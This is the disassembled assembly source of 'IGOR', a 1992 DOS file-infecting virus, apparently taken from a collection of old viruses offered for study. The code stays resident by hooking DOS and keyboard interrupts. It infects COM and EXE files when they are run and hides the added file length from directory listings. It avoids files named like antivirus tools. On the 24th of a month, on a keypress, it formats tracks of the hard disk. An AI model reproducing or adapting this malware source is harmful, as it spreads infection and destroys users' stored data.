igor.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

PAGE  59,132

;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹					                                 圹
;圹				IGOR	                                 圹
;圹					                                 圹
;圹      Created:   12-Jul-92		                                 圹
;圹      Passes:    5          Analysis	Options on: none                 圹
;圹      (c) 1992 by Igor Ratzkopf - All Rights Reserved July R          圹
;圹					                                 圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

data_1e		equ	16h
data_2e		equ	469h			;*
data_3e		equ	103h			;*
data_4e		equ	1			;*
data_5e		equ	3			;*

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

igor		proc	far

start::
		jmp	short $+3		; delay for I/O
		nop
		call	sub_1

igor		endp

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_1		proc	near
		pop	bp
		sub	bp,106h
		push	ax
		push	bx
		push	cx
		push	dx
		push	si
		push	di
		push	bp
		push	es
		push	ds
		mov	ax,7BCDh
		int	21h			; ??INT Non-standard interrupt
		cmp	bx,7BCDh
		je	loc_4			; Jump if equal
		xor	bx,bx			; Zero register
		push	cs
		pop	ds
		mov	cx,es
		mov	ax,3509h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	word ptr cs:data_11+2[bp],es
		mov	cs:data_11[bp],bx
		mov	ax,3521h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	word ptr cs:data_9+2[bp],es
		mov	cs:data_9[bp],bx
		dec	cx
		mov	es,cx
		mov	bx,es:data_5e
		mov	dx,3C3h
		mov	cl,4
		shr	dx,cl			; Shift w/zeros fill
		add	dx,4
		mov	cx,es
		sub	bx,dx
		inc	cx
		mov	es,cx
		mov	ah,4Ah
		int	21h			; DOS Services  ah=function 4Ah
						;  change memory allocation
						;   bx=bytes/16, es=mem segment
		jc	loc_4			; Jump if carry Set
		mov	ah,48h			; 'H'
		dec	dx
		mov	bx,dx
		int	21h			; DOS Services  ah=function 48h
						;  allocate memory, bx=bytes/16
		jc	loc_4			; Jump if carry Set
		dec	ax
		mov	es,ax
		mov	cx,8
		mov	es:data_4e,cx
		sub	ax,0Fh
		mov	di,data_3e
		mov	es,ax
		mov	si,bp
		add	si,103h
		mov	cx,3C3h
		cld				; Clear direction
		repne	movsb			; Rep zf=0+cx >0 Mov [si] to es:[di]
		mov	ax,2521h
;*		mov	dx,offset loc_3		;*
		db	0BAh, 8Fh, 02h
		push	es
		pop	ds
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		mov	ax,2509h
;*		mov	dx,offset loc_2		;*
		db	0BAh, 1Ah, 02h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		push	cs
		pop	ds
loc_4::
		cmp	cs:data_25[bp],5A4Dh
		je	loc_5			; Jump if equal
		mov	bx,offset data_25
		add	bx,bp
		mov	ax,[bx]
		mov	word ptr ds:[100h],ax
		add	bx,2
		mov	al,[bx]
		mov	byte ptr ds:[102h],al
		pop	ds
		pop	es
		pop	bp
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		mov	ax,offset start
		push	ax
		retn
data_9		dw	0, 0			; Data table (indexed access)
data_11		dw	0, 0			; Data table (indexed access)
loc_5::
		mov	bx,cs:data_33[bp]
		mov	dx,cs
		sub	dx,bx
		mov	ax,dx
		add	ax,cs:data_18[bp]
		add	dx,cs:data_20[bp]
		mov	bx,cs:data_17[bp]
		mov	word ptr cs:[216h][bp],bx
		mov	word ptr cs:[218h][bp],ax
		mov	ax,cs:data_19[bp]
		mov	word ptr cs:[20Ch][bp],dx
		mov	word ptr cs:[212h][bp],ax
		pop	ds
		pop	es
		pop	bp
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		mov	ax,0
		cli				; Disable interrupts
		mov	ss,ax
		mov	sp,0
		sti				; Enable interrupts
;*		jmp	far ptr loc_1		;*
sub_1		endp

		db	0EAh, 00h, 00h, 00h, 00h
			                        ;* No entry point to code
		push	ax
		in	al,60h			; port 60h, keybd scan or sw1
		cmp	al,53h			; 'S'
		je	loc_7			; Jump if equal
loc_6::
		pop	ax
		jmp	dword ptr cs:data_11
loc_7::
		mov	ah,2Ah
		int	21h			; DOS Services  ah=function 2Ah
						;  get date, cx=year, dh=month
						;   dl=day, al=day-of-week 0=SUN
		cmp	dl,18h
		jne	loc_6			; Jump if not equal
		mov	ch,0

locloop_8::
		mov	ah,5
		mov	dh,0
		mov	dl,80h
		int	13h			; Disk  dl=drive 0  ah=func 05h
						;  format track=ch or cylindr=cx
						;   al=interleave, dh=head
		inc	ch
		cmp	ch,20h			; ' '
		loopnz	locloop_8		; Loop if zf=0, cx>0

;*		jmp	far ptr loc_31		;*
		db	0EAh,0F0h,0FFh,0FFh,0FFh
		db	0CFh
loc_9::
		pushf				; Push flags
		push	cs
		call	sub_2
		test	al,al
		jnz	loc_ret_12		; Jump if not zero
		push	ax
		push	bx
		push	es
		mov	ah,51h
		int	21h			; DOS Services  ah=function 51h
						;  get active PSP segment in bx
						;*  undocumented function
		mov	es,bx
		cmp	bx,es:data_1e
		jne	loc_11			; Jump if not equal
		mov	bx,dx
		mov	al,[bx]
		push	ax
		mov	ah,2Fh
		int	21h			; DOS Services  ah=function 2Fh
						;  get DTA ptr into es:bx
		pop	ax
		inc	al
		jnz	loc_10			; Jump if not zero
		add	bx,7
loc_10::
		mov	ax,es:[bx+17h]
		and	ax,1Fh
		xor	al,1Dh
		jnz	loc_11			; Jump if not zero
		and	byte ptr es:[bx+17h],0E0h
		sub	word ptr es:[bx+1Dh],3C3h
		sbb	es:[bx+1Fh],ax
loc_11::
		pop	es
		pop	bx
		pop	ax

loc_ret_12::
		iret				; Interrupt return
			                        ;* No entry point to code
		cmp	ax,4B00h
		je	loc_14			; Jump if equal
		cmp	ah,11h
		je	loc_9			; Jump if equal
		cmp	ah,12h
		je	loc_9			; Jump if equal
		cmp	ax,7BCDh
		jne	loc_13			; Jump if not equal
		jmp	short loc_14
		db	90h

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_2		proc	near
loc_13::
		jmp	dword ptr cs:data_9
loc_14::
		and	[bx+si],ah
		and	[bx+si],ah
		and	[bx+si],ah
		push	es
		push	ds
		cmp	ax,7BCDh
		jne	loc_15			; Jump if not equal
		push	cs
		pop	ds
		mov	dx,4B7h
		jmp	short loc_16
		db	90h
loc_15::
		call	sub_5
		jc	loc_18			; Jump if carry Set
loc_16::
		mov	ax,4300h
		int	21h			; DOS Services  ah=function 43h
						;  get attrb cx, filename @ds:dx
		jc	loc_19			; Jump if carry Set
		test	cl,1
		jz	loc_17			; Jump if zero
		and	cl,0FEh
		mov	ax,4301h
		int	21h			; DOS Services  ah=function 43h
						;  set attrb cx, filename @ds:dx
		jc	loc_19			; Jump if carry Set
loc_17::
		mov	ax,3D02h
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		jc	loc_19			; Jump if carry Set
		mov	bx,ax
		mov	ax,5700h
		int	21h			; DOS Services  ah=function 57h
						;  get file date+time, bx=handle
						;   returns cx=time, dx=time
		mov	al,cl
		or	cl,1Fh
		dec	cx
		dec	cx
		xor	al,cl
		jz	loc_19			; Jump if zero
		push	cs
		pop	ds
		mov	data_21,cx
		mov	data_22,dx
		mov	ah,3Fh			; '?'
		mov	cx,20h
		mov	dx,offset data_25
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		jc	loc_18			; Jump if carry Set
		mov	ax,4202h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		jc	loc_18			; Jump if carry Set
		cmp	cs:data_25,5A4Dh
		je	loc_21			; Jump if equal
		mov	cx,ax
		sub	cx,3
		mov	cs:data_24,cx
		call	sub_3
		jc	loc_18			; Jump if carry Set
		mov	ah,40h			; '@'
		mov	dx,offset data_23
		mov	cx,3
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
loc_18::
		mov	cx,cs:data_21
		mov	dx,cs:data_22
		mov	ax,5701h
		int	21h			; DOS Services  ah=function 57h
						;  set file date+time, bx=handle
						;   cx=time, dx=time
		mov	ah,3Eh
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
loc_19::
		pop	ds
		pop	es
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		cmp	ax,7BCDh
		jne	loc_20			; Jump if not equal
		mov	bx,ax
loc_20::
		jmp	dword ptr cs:data_9
loc_21::
		mov	cx,cs:data_32
		mov	cs:data_17,cx
		mov	cx,cs:data_33
		mov	cs:data_18,cx
		mov	cx,cs:data_31
		mov	cs:data_19,cx
		mov	cx,cs:data_30
		mov	cs:data_20,cx
		push	ax
		push	dx
		call	sub_4
		sub	dx,cs:data_29
		mov	cs:data_33,dx
		mov	cs:data_32,ax
		pop	dx
		pop	ax
		add	ax,3C3h
		adc	dx,0
		push	ax
		push	dx
		call	sub_4
		sub	dx,cs:data_29
		add	ax,40h
		mov	cs:data_30,dx
		mov	cs:data_31,ax
		pop	dx
		pop	ax
		push	bx
		push	cx
		mov	cl,7
		shl	dx,cl			; Shift w/zeros fill
		mov	bx,ax
		mov	cl,9
		shr	bx,cl			; Shift w/zeros fill
		add	dx,bx
		and	ax,1FFh
		jz	loc_22			; Jump if zero
		inc	dx
loc_22::
		pop	cx
		pop	bx
		mov	cs:data_26,ax
		mov	cs:data_27,dx
		call	sub_3
		jc	loc_23			; Jump if carry Set
		mov	ah,40h			; '@'
		mov	dx,data_2e
		mov	cx,20h
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
loc_23::
		jmp	loc_18
sub_2		endp

data_17		dw	0			; Data table (indexed access)
data_18		dw	0			; Data table (indexed access)
data_19		dw	0			; Data table (indexed access)
data_20		dw	0			; Data table (indexed access)

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_3		proc	near
		mov	ah,40h			; '@'
		mov	dx,103h
		mov	cx,3C3h
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		jc	loc_24			; Jump if carry Set
		mov	ax,4200h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		jc	loc_24			; Jump if carry Set
		clc				; Clear carry flag
		retn
loc_24::
		stc				; Set carry flag
		retn
sub_3		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_4		proc	near
		push	bx
		push	cx
		mov	cl,0Ch
		shl	dx,cl			; Shift w/zeros fill
		mov	bx,ax
		mov	cl,4
		shr	bx,cl			; Shift w/zeros fill
		add	dx,bx
		and	ax,0Fh
		pop	cx
		pop	bx
		retn
sub_4		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_5		proc	near
		push	si
		push	cx
		mov	si,dx
		mov	cx,128h

locloop_25::
		cmp	byte ptr [si],2Eh	; '.'
		je	loc_26			; Jump if equal
		inc	si
		loop	locloop_25		; Loop if cx > 0

loc_26::
		cmp	word ptr [si-2],544Fh
		jne	loc_27			; Jump if not equal
		cmp	word ptr [si-4],5250h
		je	loc_30			; Jump if equal
loc_27::
		cmp	word ptr [si-2],4E41h
		jne	loc_28			; Jump if not equal
		cmp	word ptr [si-4],4353h
		je	loc_30			; Jump if equal
loc_28::
		cmp	word ptr [si-2],2041h
		jne	loc_29			; Jump if not equal
		cmp	word ptr [si-4],454Ch
		je	loc_30			; Jump if equal
loc_29::
		pop	cx
		pop	si
		clc				; Clear carry flag
		retn
loc_30::
		pop	cx
		pop	si
		stc				; Set carry flag
		retn
sub_5		endp

data_21		dw	0
data_22		dw	0
data_23		db	0E9h
data_24		dw	9090h
data_25		dw	0CD90h			; Data table (indexed access)
data_26		dw	20h
data_27		dw	0
		db	0, 0
data_29		dw	0
		db	0, 0, 0, 0
data_30		dw	0
data_31		dw	0
		db	0, 0
data_32		dw	0
data_33		dw	0			; Data table (indexed access)
		db	15 dup (0)
copyright	db	'(c) 1992 by Igor Ratzkopf - All '
		db	'Rights Reserved July R'

seg_a		ends



		end	start